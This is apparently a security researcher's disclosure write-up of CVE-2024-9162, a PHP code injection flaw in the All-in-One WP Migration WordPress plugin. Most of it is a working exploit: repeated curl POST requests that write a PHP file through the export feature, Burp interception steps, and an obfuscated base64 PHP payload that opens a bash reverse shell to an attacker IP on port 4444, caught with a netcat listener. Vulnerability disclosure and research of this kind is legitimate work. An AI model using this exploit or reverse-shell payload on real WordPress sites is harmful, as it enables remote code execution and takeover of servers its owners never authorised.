Around the time Def Con was happening this year I was sitting at home feeling left out. That made me feel hacky, but I don’t get the same joy from CTFs at the moment that I used to. So, I decided to start hunting for CVEs. That lead to finding CVE-2024-9162, which was just released today, along with the idea for a larger project that has resulted in a few more vulnerabilities yet to be disclosed.

CVE-2024-9162

The All-in-One WP Migration plugin for WordPress is vulnerable to arbitrary PHP Code Injection due to missing file type validation during the export in all versions up to, and including, 7.86. This makes it possible for authenticated attackers, with Administrator-level access and above, to create an export file with the .php extension on the affected site’s server, adding an arbitrary PHP code to it, which may make remote code execution possible.

TL;DR Exploits

Details

The ai1wm_secret_key is a 12 character alphanumeric string created when the plugin is initialized. The key is never rotated, does not expire, and is stored plain text in the wp_options table.

mysql> SELECT option_name,option_value FROM wp_options WHERE option_name='ai1wm_secret_key';
+------------------+--------------+
| option_name      | option_value |
+------------------+--------------+
| ai1wm_secret_key | PwrqqK3UHQJo |
+------------------+--------------+
1 row in set (0.00 sec)

Basic Proof of Concept:

This will create a php file containing a call to phpinfo();, which can be replaced with a better payload as seen in the manual reproduction section. Notice there is no authorization required beyond the secret key parameter.

VICTIM_URL=https://wordpress.hacker
XFILE_NAME=lolz.php
XDIRECTORY_NAME=testauto
SECRET_KEY=PwrqqK3UHQJo

PRIORITY_INT=30
curl --path-as-is -i -s -k -X $'POST' \
    --data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
    $"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"

PRIORITY_INT=50
curl --path-as-is -i -s -k -X $'POST' \
    --data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
    $"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"

PRIORITY_INT=60
curl --path-as-is -i -s -k -X $'POST' \
    --data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
    $"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"

Screenshot from 2024-08-13 15-36-42

Manually To Reproduce:

It should be noted that the php file created via these steps will first appear in wp-content/plugins/all-in-one-wp-migration/storage/EXPLOITDIR/EXPLOITFILE.php before being deleted by the script and moved to wp-content/ai1wm-backups/reverse_shell.php.

  • Log in, Click all in one WP migration export to access the “Export Site” page.

    • Screenshot from 2024-08-12 15-40-48
  • In the Find * Replace with <another-text> in the database.

  • Input * into the Find box.

  • Input your crafted php payload into into the Replae With box (phpinfo();, web shell, etc).

    • Reverse Shell Example:
    <?php eval( base64_decode('ZXhlYygiL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTkyLjE2OC4xMDAuODYvNDQ0NCAwPiYxJyAiKTs=')); ?>
    
    • This will decode to
    exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.100.86/4444 0>&1' ");
    
  • Screenshot from 2024-08-12 15-38-01

  • Setup Burp or similar tool and begin to proxy the traffic, then click the green “Export To -> File” option.

    • Screenshot from 2024-08-12 15-42-30
    • Screenshot from 2024-08-12 15-39-38
  • Forward the first request: POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/1.1, without manipulation.

  • Forward: GET /wp-admin/admin-ajax.php?action=ai1wm_status&ai1wm_import=1&secret_key=OYXj1AIdQUnc&_=1723495770325 HTTP/2.

  • Intercepting the request to POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/2

    • Modify the archive parameter to whatever name you like, and the .php extension, and then forward the request.
    •   POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/2
        Host: wordpress.hacker
        Cookie: wordpress_sec_1e8abd3ff1d2f462f071b6ee87f18dce=admin%7C1723667674%7Czq81SUmQ7zq0jft2M2D19aFUOZDjhqND0rKqJp0XIrb%7Cc65dd152f0c184235df35d5dfa28c50624b9f9a2fb01efb5077b150df76d286f; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_1e8abd3ff1d2f462f071b6ee87f18dce=admin%7C1723667674%7Czq81SUmQ7zq0jft2M2D19aFUOZDjhqND0rKqJp0XIrb%7C5c992aef75e3896a0909b9d480ae9e6505d89428c6975a490c30ce5b791c6bfe; wp-settings-time-1=1723500701
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
        Accept: application/json, text/javascript, */*; q=0.01
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate, br
        Referer: https://wordpress.hacker/wp-admin/admin.php?page=ai1wm_export
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Content-Length: 883
        Origin: https://wordpress.hacker
        Dnt: 1
        Sec-Gpc: 1
        Sec-Fetch-Dest: empty
        Sec-Fetch-Mode: cors
        Sec-Fetch-Site: same-origin
        Te: trailers
              action=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+eval(+base64_decode('ZXhlYygiL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTkyLjE2OC4xMDAuODYvNDQ0NCAwPiYxJyAiKTs%3D'))%3B+%3F%3E&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=1j5v4ss1ls45&file=1&secret_key=OYXj1AIdQUnc&priority=10&archive=reverse_shell.php
      
    • Screenshot from 2024-08-12
    • Turn off interception and let all other requests flow through until the job is completed and a download button is presented on the screen.
      • Screenshot from 2024-08-12 15-30-06
    • Notice that the link to the downoad is a link to a php file containing the payload https://wordpress.hacker/wp-content/ai1wm-backups/reverse_shell.php.
    • Fire up a netcat listener on an attacking machine to catch the reverse shell nc -lnvp 4444.
    • Click the download button and catch the reverse shell.
      • Screenshot from 2024-08-12 15-34-27